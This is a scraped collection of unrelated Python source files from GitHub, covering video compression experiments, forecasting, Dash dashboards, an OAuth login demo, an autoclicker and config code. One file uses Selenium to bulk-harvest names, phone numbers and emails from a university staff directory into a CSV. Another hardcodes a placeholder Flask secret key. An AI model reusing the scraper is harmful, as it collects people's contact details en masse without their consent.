[\"videos/tf5\"] * 300\n# video_list = [f\"videos/trafficcam_1_{i}\" for i in range(1,301,1)] + \\\n# [f\"videos/trafficcam_2_{i}\" for i in range(1,301,1)] + \\\n# [f\"videos/trafficcam_3_{i}\" for i in range(1,301,1)] + \\\n# [f\"videos/trafficcam_4_{i}\" for i in range(1,301,1)] + \\\n# [f\"videos/trafficcam_5_{i}\" for i in range(1,301,1)]\n# video_list = [f\"videos/trafficcam_4_{i}\" for i in range(1,301,1)] + \\\n# [f\"videos/trafficcam_5_{i}\" for i in range(1,301,1)]\n\n# HotMobile submiited experiments\n# vid_names = [\"videos/tf1\"] * 300\n# video_list = [f\"videos/trafficcam_1_{i}\" for i in range(1,301,1)]\n\n# Camera-ready experiments (diverse scenes)\n# resolutions = [(1280, 720)] * 300 + \\\n# [(1920, 1080)] * 600\n# vid_names = [\"videos/cityscape_6\"] * 300 + \\\n# [\"videos/cityscape_7\"] * 300 + \\\n# [\"videos/cityscape_8\"] * 300\n# video_list = [f\"videos/cityscape_6_{i}\" for i in range(1,301,1)] + \\\n# [f\"videos/cityscape_7_{i}\" for i in range(1,301,1)] + \\\n# [f\"videos/cityscape_8_{i}\" for i in range(1,301,1)]\nresolutions = [(1920, 1080)] * 1500\nvid_names = [\"videos/cityscape_1\"] * 300 + \\\n [\"videos/cityscape_2\"] * 300 + \\\n [\"videos/cityscape_4\"] * 300 + \\\n [\"videos/cityscape_7\"] * 300 + \\\n [\"videos/cityscape_8\"] * 300\nvideo_list = [f\"videos/cityscape_1_{i}\" for i in range(1,301,1)] + \\\n [f\"videos/cityscape_2_{i}\" for i in range(1,301,1)] + \\\n [f\"videos/cityscape_4_{i}\" for i in range(1,301,1)] + \\\n [f\"videos/cityscape_7_{i}\" for i in range(1,301,1)] + \\\n [f\"videos/cityscape_8_{i}\" for i in range(1,301,1)]\n\n# hq_qps = [0, 10, 20]\n# lq_qps = [40, 40, 40]\n# hq_qps = [2] * 6 + [6] * 6 + [10] * 6 + [14] * 6\n# lq_qps = [28, 30, 32, 34, 36, 38]*4\n# hq_qps = [2] * 3\nhq_qps = [2]\n# lq_qps = [28, 30, 32, 34, 36, 38]*4\n# lq_qps = [28, 32, 36]\nlq_qps = [36]\n\ntime_compression, time_inference = 0.0, 0.0\n\n# compress dds\nfor frame_index in range(len(video_list)):\n video = video_list[frame_index]\n vid_name = vid_names[frame_index]\n resolution = resolutions[frame_index]\n\n # file creation\n # print(f\"video name: {video}\")\n frame_index_in_video = int(video.split(\"_\")[-1]) - 1\n # import pdb; pdb.set_trace()\n if not os.path.exists(working_dir_path + video):\n os.mkdir(working_dir_path + video)\n subprocess.run([\"cp\", f\"{working_dir_path}{vid_name}/{str(frame_index_in_video).zfill(10)}.png\", \\\n f\"{working_dir_path}{video}/0000000000.png\"])\n # import pdb; pdb.set_trace()\n \n for i in range(len(hq_qps)):\n hq_qp, lq_qp = hq_qps[i], lq_qps[i]\n\n stats_file_name = f\"stats_files_cr/{vid_name}_300_frames_dds_{hq_qp}_{lq_qp}_cr\"\n\n # compression\n start_compress = time.time()\n compress_dds(video, hq_qp, lq_qp, resolution[0], resolution[1])\n end_compress = time.time()\n time_compression += (end_compress - start_compress)\n\n # inference\n start_infer = time.time()\n my_inference(video, hq_qp, lq_qp, stats_file_name)\n end_infer = time.time()\n time_inference += (end_infer - start_infer)\n\nprint(time_compression)\nprint(time_inference)","repo_name":"Alex-q-z/saliency-HotMobile22","sub_path":"my_per_frame_dds.py","file_name":"my_per_frame_dds.py","file_ext":"py","file_size_in_byte":17071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"2620863261","text":"import logging\n\nfrom datetime import datetime\n\nfrom typing import Dict, Union\n\nfrom pandas import Series\nfrom sppCheck.predictor.predictor_interface import PredictorInterface\nfrom statsmodels.tsa.exponential_smoothing.ets import ETSModel, ETSResults\n\nfrom utils.exception_utils import ExceptionUtils\n\nLOGGER_NAME = 'sppmon'\nLOGGER = logging.getLogger(LOGGER_NAME)\n\nclass StatsmodelEtsPredictor(PredictorInterface):\n\n def data_preparation(self, predict_data: Dict[int, Union[int, float]], dp_freq_hour: int) -> Series:\n\n LOGGER.debug(f\"Received {len(predict_data)} datapoints for forecasting\")\n # filter over values, only positive allowed, change epoch time to utc time\n positive_data = {datetime.utcfromtimestamp(k): v for k, v in predict_data.items() if v is not None and v > 0}\n\n if len(predict_data) > len(positive_data):\n LOGGER.info(f\"Removed {len(predict_data) - len(positive_data)} negative / none values from dataset\")\n\n LOGGER.debug(f\"Resampling into {dp_freq_hour}H frequency\")\n\n data_series: Series = Series(positive_data,\n ).resample(f\"{dp_freq_hour}H\" # make sure the frequency is correct\n ).mean() # overlapping points are changed via mean\n\n LOGGER.debug(f\"{len(data_series)} Datapoints after resampling.\")\n\n nan_count = len(data_series) - data_series.count()\n if nan_count:\n LOGGER.info(f\"{nan_count} values are nan after resampling, interpolating them\")\n data_series = data_series.interpolate(limit=1) # fill missing values\n\n remaining_nan_count = len(data_series) - data_series.count()\n if remaining_nan_count:\n LOGGER.warning(f\"Could not interpolate {remaining_nan_count} values.\")\n\n return data_series\n\n\n def predict_data(self,\n data_series: Series,\n forecast_years: float) -> Series:\n\n\n # read the frequency to calculate how many data points needs to be forecasted\n try:\n # convert to hour\n dp_freq_hour: float = data_series.index.freq.nanos / 3600000000000 # type: ignore\n except AttributeError as error:\n ExceptionUtils.exception_info(error)\n raise ValueError(\"The data series is corrupted, no frequency at the index available\", data_series.index)\n\n forecast_dp_count = round((forecast_years * 365 * 24) / dp_freq_hour)\n\n # discard prediction data without new data\n hours_last_data = (datetime.now() - data_series.index.max()).total_seconds() / (60 * 60)\n\n # discard if the data is older than 7 days and 3 times the frequency\n # May some data points fail, therefore this grace period\n if hours_last_data > 24 * 7 and hours_last_data > dp_freq_hour * 3:\n raise ValueError(\"This set of data is too old to be used\")\n\n LOGGER.debug(f\"forecasting using {len(data_series)} data points\")\n\n # without enough values the forecast wont work\n if len(data_series) < 15:\n raise ValueError(f\"At least 15 values are required for a prediction, only {len(data_series)} given\", data_series)\n\n # interpolate nan values\n # this is a last resort interpolate, split to allow previous summary between the preparation and forecast to work on nan values\n nan_count = len(data_series) - data_series.count()\n if nan_count:\n LOGGER.warning(f\"{nan_count} values are nan before predicting, forcing an interpolation\")\n data_series = data_series.interpolate() # fill missing values\n\n ets_fit: ETSResults = ETSModel(\n data_series,\n error=\"mul\",\n trend=\"mul\",\n initialization_method=\"estimated\", # no real documentation here\n missing=\"skip\" # drop missing values, like nan -> doesnt work due to freq not being detected even if set\n ).fit(disp=False) # type: ignore\n prediction: Series = ets_fit.forecast(forecast_dp_count)\n\n\n # ! Pandas is_monotonic == is_monotonic_increasing, not if it is generally monotonic...!\n # if it is not monotonic, the values are swapping between positive and negative, highly increasing\n # e.g. +1000, -1000, +10.000, -10.000 ...\n if not (prediction.is_monotonic_increasing or prediction.is_monotonic_decreasing):\n raise ValueError(\"The result is corrupted, it is not monotonic.\")\n\n # definition in Series: a series of same values (eg 2,2,2,2) is both increasing and decreasing\n # a decreasing prediction does not align with the purpose of SPPCheck, which assumes only exponential increasing values\n if prediction.is_monotonic_decreasing and not prediction.is_monotonic_increasing:\n ExceptionUtils.error_message(\"The result is highly likely corrupted, it is monotonic decreasing\")\n\n return prediction\n","repo_name":"IBM/spectrum-protect-sppmon","sub_path":"python/sppCheck/predictor/statsmodel_ets_predictor.py","file_name":"statsmodel_ets_predictor.py","file_ext":"py","file_size_in_byte":4910,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"60"} +{"seq_id":"7297941884","text":"\n# coding: utf-8\n\n# In[ ]:\n\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport plotly.graph_objs as go\nimport pandas as pd\n\napp = dash.Dash(__name__)\nserver = app.server\napp.css.append_css({\"external_url\": \"https://codepen.io/chriddyp/pen/bWLwgP.css\"})\n\ndf = pd.read_csv(\"nama_10_gdp_1_Data.csv\")\n\navailable_indicators = df[\"UNIT\"].unique()\navailable_countries = df['GEO'].unique()\n\napp.layout = html.Div([\n html.H1('Gross domestic product at market prices for the EU',style={'text-align':'center','font-family':'monospace'}),\n html.Div([\n html.H2(children='GDP by indicator (scatter plot)',style={'text-align':'center','font-family':'monospace'}),\n html.Div([\n dcc.Dropdown(\n id='xaxis-column',\n options=[{'label': i, 'value': i} for i in available_indicators],\n value=\"Current prices, million euro\"\n ),\n \n ],\n style={'width': '48%', 'display': 'inline-block'}),\n\n html.Div([\n dcc.Dropdown(\n id='yaxis-column',\n options=[{'label': i, 'value': i} for i in available_indicators],\n value=\"Chain linked volumes, index 2010=100\"\n ),\n \n ],style={'width': '48%', 'float': 'right', 'display': 'inline-block'})\n ]),\n\n dcc.Graph(id='indicator-graphic'),\n\n dcc.Slider(\n id='year--slider',\n min=df[\"TIME\"].min(),\n max=df['TIME'].max(),\n value=df['TIME'].max(),\n step=None,\n marks={str(year): str(year) for year in df[\"TIME\"].unique()}\n ),\n html.Div([\n html.H2(children='GDP by indicator and country(line chart)',style={'margin-top':'5%','text-align':'center','font-family':'monospace'}),\n html.Div([\n html.Div([\n dcc.Dropdown(\n id='indicator-select',\n options=[{'label': i, 'value': i} for i in available_indicators],\n value='Current prices, million euro'\n ),\n ],\n style={'width': '48%', 'display': 'inline-block'}),\n\n html.Div([\n dcc.Dropdown(\n id='country-select',\n options=[{'label': i, 'value': i} for i in available_countries],\n value=\"European Union (28 countries)\"\n ),\n ],style={'width': '48%', 'float': 'right', 'display': 'inline-block'})\n ]),\n dcc.Graph(id='indicator-graphicline'),\n ])\n ])\n \n@app.callback(\n dash.dependencies.Output('indicator-graphic', 'figure'),\n [dash.dependencies.Input('xaxis-column', 'value'),\n dash.dependencies.Input('yaxis-column', 'value'),\n dash.dependencies.Input('year--slider', 'value')])\ndef update_graph(xaxis_column_name, yaxis_column_name,\n year_value):\n dff = df[df[\"TIME\"] == year_value]\n \n return {\n 'data': [go.Scatter(\n x=dff[dff[\"UNIT\"] == xaxis_column_name]['Value'],\n y=dff[dff[\"UNIT\"] == yaxis_column_name]['Value'],\n text=dff[dff[\"UNIT\"] == yaxis_column_name]['GEO'],\n mode='markers',\n marker={\n 'size': 20,\n 'opacity': 0.40,\n 'line': {'width': 0.6, 'color': 'blue'}\n }\n )],\n 'layout': go.Layout(\n xaxis={\n 'title': xaxis_column_name,\n },\n yaxis={\n 'title': yaxis_column_name,\n },\n margin={'l': 80, 'b': 40, 't': 20, 'r': 0},\n hovermode='closest'\n )\n }\n\n@app.callback(\n dash.dependencies.Output('indicator-graphicline', 'figure'),\n [dash.dependencies.Input('indicator-select', 'value'),\n dash.dependencies.Input('country-select', 'value'),])\ndef update_graph(indicator_name, country_name):\n dff = df[df['GEO'] == country_name]\n \n return {\n 'data': [go.Scatter(\n x=dff[dff['UNIT'] == indicator_name]['TIME'],\n y=dff[dff['UNIT'] == indicator_name]['Value'],\n text=dff[dff['UNIT'] == indicator_name]['Value'],\n mode='lines',\n line = dict(\n color = ('green'),\n width = 4,)\n )],\n 'layout': go.Layout(\n xaxis={\n 'title': country_name,\n },\n yaxis={\n 'title': indicator_name,\n },\n margin={'l': 80, 'b': 40, 't': 20, 'r': 0},\n hovermode='closest'\n )\n }\n\nif __name__ == '__main__':\n app.run_server()\n\n","repo_name":"Benjamin1303/dash_app_example","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"70669391870","text":"#! /usr/bin/env python\n# -*- encoding: utf-8 -*-\n# vim:fenc=utf-8:\n\n\"\"\"The path module contains functions to build the different paths to be\nused in mico, reading environment variables when needed.\n\"\"\"\n\nimport os\n\n\ndef get_stack_path(env_var=\"MICO_STACK_PATH\", path=[]):\n \"\"\"Set the stack path for mico. By default use the following directories\n (in order):\n\n 1. The current working directory (highest precedence)\n 2. The ~/.config/mico directory\n 3. Global /etc/mico directory\n 4. Local \"stack\" directory in mico source code (lowest precedence)\n\n :type env_var: str\n :param env_var: the OS environment variable name which content will be\n prepended as stack path.\n\n :type path: list\n :param path: a number of paths (strings) to be appended to stack path.\n \"\"\"\n _path = [\n os.curdir,\n os.path.join(os.environ.get(\"HOME\", \"/\"), \".config/mico\"),\n \"/etc/mico\",\n os.path.join(os.path.dirname(__file__), \"stack\"),\n ]\n\n if os.environ.get(env_var, None):\n _path.insert(0, os.environ.get(env_var))\n\n if path:\n _path.extend(path)\n\n return _path\n\n\ndef get_cache_path(env_var=\"MICO_CACHE_PATH\"):\n return os.environ.get(\"MICO_CACHE_PATH\", None) or \\\n os.path.join(os.environ.get(\"HOME\", \"/\"), \".cache/mico\")\n\n\ndef get_library_path(env_var=\"MICO_LIBRARY_PATH\", path=[]):\n \"\"\"Set the library path for mico. By default use the following directories\n (in order):\n\n 1. ~/.local/share/mico directory\n 2. /usr/lib/mico\n 3. /usr/local/lib/mico\n 4. /usr/share/mico\n 5. /usr/local/share/mico\n\n :type env_var: str\n :param env_var: the OS environment variable name which content will be\n prepended as library path.\n\n :type path: list\n :param path: a number of paths (strings) to be appended to library path.\n \"\"\"\n _path = [\n os.curdir,\n os.path.join(os.environ.get(\"HOME\", \"/\"), \".local/share/mico\"),\n \"/usr/lib/mico\",\n \"/usr/local/lib/mico\",\n \"/usr/share/mico\",\n \"/usr/local/share/mico\",\n ]\n\n if os.environ.get(env_var, None):\n _path.insert(0, os.environ.get(env_var))\n\n if path:\n _path.extend(path)\n\n return _path\n\n","repo_name":"ajdiaz/mico","sub_path":"mico/path.py","file_name":"path.py","file_ext":"py","file_size_in_byte":2215,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"60"} +{"seq_id":"13204124788","text":"import tkinter as tk\nfrom tkinter import filedialog\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\n\ndef load_csv_and_plot():\n filepath = filedialog.askopenfilename(filetypes=[(\"CSV files\", \"*.csv\")])\n\n if not filepath:\n return\n\n # 讀取CSV\n df = pd.read_csv(filepath, usecols=[0, 1], header=0)\n df.columns = ['X', 'Z']\n\n # 繪製圖表\n fig, ax = plt.subplots()\n ax.plot(df[\"X\"], df[\"Z\"])\n ax.set_xlabel('X')\n ax.set_ylabel('Z')\n ax.set_title('Plot of X vs Z')\n\n # 顯示在tkinter視窗上\n canvas = FigureCanvasTkAgg(fig, master=window)\n canvas_widget = canvas.get_tk_widget()\n canvas_widget.grid(row=1, column=0, padx=10, pady=10)\n canvas.draw()\n\ndef exit_program():\n window.destroy()\n\nwindow = tk.Tk()\nwindow.title(\"CSV Plotter\")\n\n# 載入CSV按鈕\nload_button = tk.Button(window, text=\"Load CSV\", command=load_csv_and_plot)\nload_button.grid(row=0, column=0, padx=10, pady=10)\n\n# 退出按鈕\nexit_button = tk.Button(window, text=\"Exit\", command=exit_program)\nexit_button.grid(row=0, column=1, padx=10, pady=10)\n\nwindow.mainloop()\n","repo_name":"GeorgeTsai0705/pythonProject","sub_path":"QC result/Grating_Angle_Cal.py","file_name":"Grating_Angle_Cal.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"35137470188","text":"\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport time\ndriver = webdriver.Chrome('/usr/local/bin/chromedriver')\nfName=[] \nlName=[] \ndName=[]\npNumber=[]\neAddress=[]\n\ndriver.get('https://directory.kean.edu/')\nbutton = driver.find_element_by_xpath('/html/body/div/div[3]/div/div[1]/div[1]/label/select')\nbutton.click()\nbutton1 = driver.find_element_by_xpath('/html/body/div/div[3]/div/div[1]/div[1]/label/select/option[4]')\nbutton1.click()\n\nfor i in range(23): \n if i != 0 and i != 22:\n button2 = driver.find_element_by_xpath('/html/body/div/div[3]/div/div[2]/div[2]/span[4]')\n button2.click()\n content = driver.page_source\n soup = BeautifulSoup(content,features=\"html.parser\")\n for a in soup.findAll(attrs={'odd'}):\n name = a.find_all('td')\n if name[0].text in fName and name[1].text in lName and name[5].text in eAddress:\n break\n eAddress.append(name[5].text)\n fName.append(name[0].text)\n lName.append(name[1].text)\n dName.append(name[2].text)\n pNumber.append(name[3].text)\n \n \n for a in soup.findAll(attrs={'even'}):\n name = a.find_all('td')\n if name[0].text in fName and name[1].text in lName and name[5].text in eAddress:\n break\n eAddress.append(name[5].text)\n fName.append(name[0].text)\n lName.append(name[1].text)\n dName.append(name[2].text)\n pNumber.append(name[3].text)\n \n \n time.sleep(0.5)\n\ndriver.quit()\n\ndf = pd.DataFrame({'First Name':fName,'Last Name':lName,'Department Name':dName, 'Phone Number':pNumber, 'Email Address':eAddress}) \ndf.to_csv('directory.csv', index=False, encoding='utf-8')\n","repo_name":"SaminChowdhury/Scrapers","sub_path":"phoneDirectoryScraper.py","file_name":"phoneDirectoryScraper.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"17281349641","text":"import adal\nimport flask\nimport uuid\nimport config\nimport logging\nfrom adal.constants import OAuth2\nfrom decode import validate\nimport requests\n\nOAuth2.IdTokenMap['email'] = 'email'\nOAuth2.IdTokenMap['unique_name'] = 'name'\n\n# Make adal loggin visible\nlogging.basicConfig(level=logging.DEBUG)\n\n\n# export FLASK_APP=app.py\n# export FLASK_DEBUG=1\n# flask run -p 44320\n\napp = flask.Flask(__name__)\napp.debug = True\napp.secret_key = 'development'\n\nPORT = 44320 # A flask app by default runs on PORT 5000\nAUTHORITY_URL = config.AUTHORITY_HOST_URL\nREDIRECT_URI = 'http://localhost:{}/signin-oidc'.format(PORT)\nTEMPLATE_AUTHZ_URL = ('{}/oauth2/authorize?' +\n 'response_type=code&client_id={}&redirect_uri={}&' +\n # to get userinfo, call to authorize needs scope=openid and\n # acquire_token_with_authorization_code cannot set resource\n # userinfo endpoint has only sub(ject).\n # no scope other than openid will bring in extra claims under\n # current set up.\n # 'state={}&scope=openid')\n 'state={}&resource=' + config.RESOURCE)\n\n\n@app.route(\"/\")\ndef main():\n login_url = 'http://localhost:{}/login'.format(PORT)\n resp = flask.Response(status=307)\n resp.headers['location'] = login_url\n return resp\n\n\n@app.route(\"/login\")\ndef login():\n auth_state = str(uuid.uuid4())\n flask.session['state'] = auth_state\n authorization_url = TEMPLATE_AUTHZ_URL.format(\n AUTHORITY_URL,\n config.CLIENT_ID,\n REDIRECT_URI,\n auth_state)\n resp = flask.Response(status=307)\n resp.headers['location'] = authorization_url\n return resp\n\n\n@app.route(\"/signin-oidc\")\ndef main_logic():\n code = flask.request.args['code']\n state = flask.request.args['state']\n if state != flask.session['state']:\n raise ValueError(\"State does not match\")\n auth_context = adal.AuthenticationContext(AUTHORITY_URL, False)\n # for a resource\n token_response = auth_context.acquire_token_with_authorization_code(code, REDIRECT_URI, config.RESOURCE,\n # # for userinfo\n # token_response = auth_context.acquire_token_with_authorization_code(code, REDIRECT_URI, None,\n config.CLIENT_ID, config.CLIENT_SECRET)\n # demo of how to validate access_token\n validate(token_response['accessToken'])\n\n flask.session['access_token'] = token_response['accessToken']\n header = {'Authorization': 'Bearer ' + token_response['accessToken']}\n\n res = requests.get('http://localhost:8000/account/', headers=header)\n # if set up for userinfo endpoint, use this redirect\n # return flask.redirect('/userinfo')\n return flask.render_template('display_accounts.html', content={'accounts': res.json(), 'token': token_response})\n\n\nif __name__ == \"__main__\":\n app.run()\n","repo_name":"LoganCook/adfs-python-demo","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"26407970954","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\n\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\napp.layout = html.Div([\n dcc.Upload(html.Button('Upload File')),\n\n html.Hr(),\n\n dcc.Upload(html.A('Upload File')),\n\n html.Hr(),\n\n dcc.Upload([\n 'Drag and Drop or ',\n html.A('Select a File')\n ], style={\n 'width': '100%',\n 'height': '60px',\n 'lineHeight': '60px',\n 'borderWidth': '1px',\n 'borderStyle': 'dashed',\n 'borderRadius': '5px',\n 'textAlign': 'center'\n })\n])\n\nif __name__ == '__main__':\n app.run_server(debug=True)\n","repo_name":"plotly/dash-docs","sub_path":"dash_docs/chapters/dash_core_components/Upload/examples/upload-gallery.py","file_name":"upload-gallery.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":370,"dataset":"github-code","pt":"60"} +{"seq_id":"10380480209","text":"from apscheduler.schedulers.blocking import BlockingScheduler\r\nimport pyautogui\r\nimport time\r\nimport random\r\n\r\nnow = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\r\ntarget = pyautogui.position()\r\nprint(now)\r\n\r\n\r\n\r\n\r\ndef AutoClick():\r\n # 設定每次按按鍵中間間隔\r\n # set the pause time between every click\r\n pyautogui.PAUSE = random.randint(20, 30)\r\n pyautogui.FAILSAFE = True\r\n\r\n # 在函式中重複呼叫，重複按4組\r\n # use recursive function to repeat calling the function\r\n for i in range(5):\r\n pyautogui.click(target)\r\n pyautogui.click(target)\r\n pyautogui.click(target)\r\n # 在此檢查RGB三色，然後比對是否是橘色\r\n now_pix = pyautogui.screenshot().getpixel(target)\r\n if now_pix[0] > 220:\r\n pyautogui.click(target)\r\n else:\r\n pass\r\n pyautogui.click(target)\r\n\r\n\r\n# 設定延時執行的秒數\r\ntime.sleep(500)\r\n# 開始執行程式，由於後面sched的interval排程無法執行第一次，所以我們先讓他執行一次\r\nAutoClick()\r\nsched = BlockingScheduler()\r\n# 將自動點擊加入排程\r\nsched.add_job(AutoClick, 'interval', minutes=50)\r\nsched.start()","repo_name":"YYLIZH/AutoKoi","sub_path":"AutoKoi 3.0.py","file_name":"AutoKoi 3.0.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"4189109044","text":"import opendht\nimport time\nimport datetime\n\nclass Dht():\n __slots__ = [\"node\", \"subdir\"]\n\n def __init__(self, subdir, bootstrapHost=\"bootstrap.ring.cx\", bootstrapPort=\"4222\"):\n self.subdir = subdir \n self.node = opendht.DhtRunner()\n print(type(self.node))\n self.node.run()\n self.node.bootstrap(bootstrapHost, bootstrapPort)\n\n def save4(self):\n #now = datetime.datetime.now()\n fileName = self.subdir + \"/\" + str(int(time.time())) + \".dht4\"\n f = open(fileName, \"w\")\n f.write(\"getNodeId : \" + self.node.getNodeId().decode())\n f.write(\"\\n\")\n dht4 = self.node.getRoutingTablesLog(2)\n f.writelines(dht4)\n f.close()\n return fileName\n\n def save6(self):\n #now = datetime.datetime.now()\n fileName = self.subdir + \"/\" + str(int(time.time())) + \".dht6\"\n f = open(fileName, \"w\")\n f.write(\"getNodeId : \" + self.node.getNodeId().decode())\n f.write(\"\\n\")\n dht6 = self.node.getRoutingTablesLog(10)\n f.writelines(dht6)\n f.close()\n return fileName\n\ndef main(subdir, interval, count):\n dht = Dht(subdir)\n time.sleep(10)\n dht.save4()\n dht.save6()\n print(\"DHT for IPv4 has beed saved in \" + dht.save4())\n print(\"DHT for IPv6 has been saved in \" + dht.save6())\n count -= 1\n while count != 0:\n print(\"waiting for {0:d} seconds\".format((interval)))\n time.sleep(interval)\n print(\"DHT for IPv4 has beed saved in \" + dht.save4())\n print(\"DHT for IPv6 has been saved in \" + dht.save6())\n count -= 1\n\nif __name__ == \"__main__\":\n import argparse, json, sys\n parser = argparse.ArgumentParser(description=\"Save routing tables of DHT node into files periodically.\")\n parser.add_argument(\"--dry-run\", action=\"store_true\")\n parser.add_argument(\"-c\", \"--count\", default=1, metavar=\"COUNT\", type=int, help='Number of times to save routing tables. Non-positive number for unlimited times.')\n parser.add_argument(\"-i\", \"--interval\", default=3600, metavar=\"SEC\", type=int, help='Time interval afthe the first log in seconds')\n parser.add_argument(\"-s\", \"--subdir\", default='dht', metavar=\"DIR\", type=str, help='Name of the subdirectory')\n args = parser.parse_args()\n if args.dry_run is True:\n print(args)\n sys.exit()\n main(args.subdir, args.interval, args.count)\n","repo_name":"TakashiSasaki/traceroute-dhtnode","sub_path":"dht/dht.py","file_name":"dht.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"6168599184","text":"import os\nimport traceback\nfrom datetime import date, datetime\n\nfrom flask import current_app\nfrom flask_mail import Message\nfrom loguru import logger\n\nfrom lib.my_email import send_eri_mail\nfrom webapp.my_flask_mail import mail\n\ntoday_str = date.today().strftime('%Y%m%d')\ntoday_time = datetime.now().strftime('%Y%m%d%H%M%S')\nAPP_PATH = os.path.dirname(os.path.abspath(__file__))\n\n\n# logger.add(f\"{APP_PATH}/esign_error_{today_str}.log\", rotation=\"1 MB\", backtrace=True, diagnose=True)\n\ndef safe_run(func):\n def func_wrapper(*args, **kwargs):\n\n try:\n return func(*args, **kwargs)\n\n except Exception as e:\n\n trace = log_traceback(e)\n logger.exception('Exception..')\n if isinstance(trace, list):\n msg = '
'.join(trace)\n else:\n msg = repr(trace)\n send_eri_mail('phanveehuen@gmail.com', message_=msg, subject='algo102 error', message_type='html')\n\n print(e)\n # return f'error?e={urlencode(e.__repr__())}'\n\n return func_wrapper\n\n\ndef safe_run_flask(func):\n def func_wrapper(*args, **kwargs):\n\n try:\n return func(*args, **kwargs)\n\n except Exception as e:\n\n trace = log_traceback(e)\n current_app.logger.error('Exception..')\n if isinstance(trace, list):\n msg = '
'.join(trace)\n else:\n msg = repr(trace)\n current_app.logger.error(msg)\n\n mail_msg = Message(subject='error email', recipients=['phanveehuen@gmail.com'], html=msg)\n mail.connect()\n mail.send(mail_msg)\n\n print(e)\n # return f'error?e={urlencode(e.__repr__())}'\n return dict(message='error', details=msg)\n\n return func_wrapper\n\n\ndef log_traceback(ex, ex_traceback=None):\n if ex_traceback is None:\n ex_traceback = ex.__traceback__\n tb_lines = [line.rstrip('\\n') for line in\n traceback.format_exception(ex.__class__, ex, ex_traceback)]\n return tb_lines\n","repo_name":"vhphan/algo102","sub_path":"lib/error_decorator.py","file_name":"error_decorator.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"42076346708","text":"import numpy as np\nimport torch\n\n\nclass GlobalConfig:\n def __init__(self):\n self.resolution = 300\n self.grid_size = 100\n self.stride = self.resolution // self.grid_size\n self.depth = True\n self.respawn_until_object = False\n self.superpixels = True\n self.use_of = False\n self.model_gpu = 0\n self.actor_gpu = 1\n self.of_gpu = 7\n self.max_pokes = 32 # This limit is required to support one hot encoding of poking masks\n self.val_scenes = 1\n self.distributed = False\n self.correct_depth = True\n\n\nglobal_config = GlobalConfig()\n\n\nclass ActorConfig:\n def __init__(self):\n # configs for self-supervision module\n self.video_mode = global_config.use_of\n self.raw_feedback = False\n self.superpixel_postprocessed_feedback = True\n self.superpixel_postprocessing_threshold = .25\n self.connectedness_postprocessed_feedback = False\n self.fatten = False\n self.pixel_change_threshold = .01\n self.hsv = True\n self.check_change_kernel = np.array([[np.exp(-np.sqrt((x - 2) ** 2 + (y - 2) ** 2) / 1)\n for x in range(5)] for y in range(5)])\n\n # configs for videoPCA\n self.pca = False and self.video_mode\n self.num_pca_components = 4\n self.smooth_mask = False and self.pca\n kernel = torch.tensor([[np.exp(-np.sqrt((x - 7) ** 2 + (y - 7) ** 2) / 2 / 5 ** 2)\n for x in range(15)]\n for y in range(15)]).unsqueeze(0).unsqueeze(1)\n self.pca_smoothing_kernel = kernel / kernel.sum()\n centering_kernel = torch.tensor([[np.exp(-np.sqrt((x - 20) ** 2 + (y - 20) ** 2) / 2 / 5 ** 2)\n for x in range(41)]\n for y in range(41)]).unsqueeze(0).unsqueeze(1)\n self.pca_centering_kernel = centering_kernel\n self.soft_mask_threshold = .005\n self.colres1 = 100 # 100\n self.colres2 = 25 # 25\n self.colres3 = 10 # 10\n self.num_color_bins = np.arange(self.colres1 * self.colres2 * self.colres3) + 1\n self.hyst_thresholds = (.8, .5)\n\n # configs for interaction\n self.instance_only = False\n self.force = 250\n self.force_buckets = [5, 30, 200]\n self.scaleable = True\n self.handDistance = 1.5\n self.visibilityDistance = 10\n self.max_poke_attempts = 3\n self.max_poke_keep = 1\n self.remove_after_poke = False\n\n # The following attributes filter the objects counted in the ground truth\n self.mass_buckets = [.5, 2.]\n self.mass_threshold = 150\n self.max_pixel_threshold = 300 ** 2\n self.min_pixel_threshold = 10\n self.data_files = ['unary_dataset__detectron2__60_30_30__train.json',\n 'unary_dataset__detectron2__60_30_30__valid.json']\n self.use_dataset = True\n\n\nactor_config = ActorConfig()\n\n\nclass BackboneConfig:\n def __init__(self):\n self.small = False\n\n\nclass ModelConfigFgBg(BackboneConfig):\n def __init__(self):\n super(ModelConfigFgBg, self).__init__()\n self.uncertainty = False\n self.superpixel = False\n self.fatten = True\n\n\nclass ClusteringModelConfig(BackboneConfig):\n def __init__(self):\n super(ClusteringModelConfig, self).__init__()\n self.backbone = 'unet' # unet or r50fpn\n self.out_dim = 16\n self.max_masks = global_config.max_pokes\n self.overlapping_objects = False\n self.filter = False\n self.uncertainty = int(False)\n self.distance_function = 'L2' # L2 or Cosine\n self.threshold = 1 # 1./.9 for 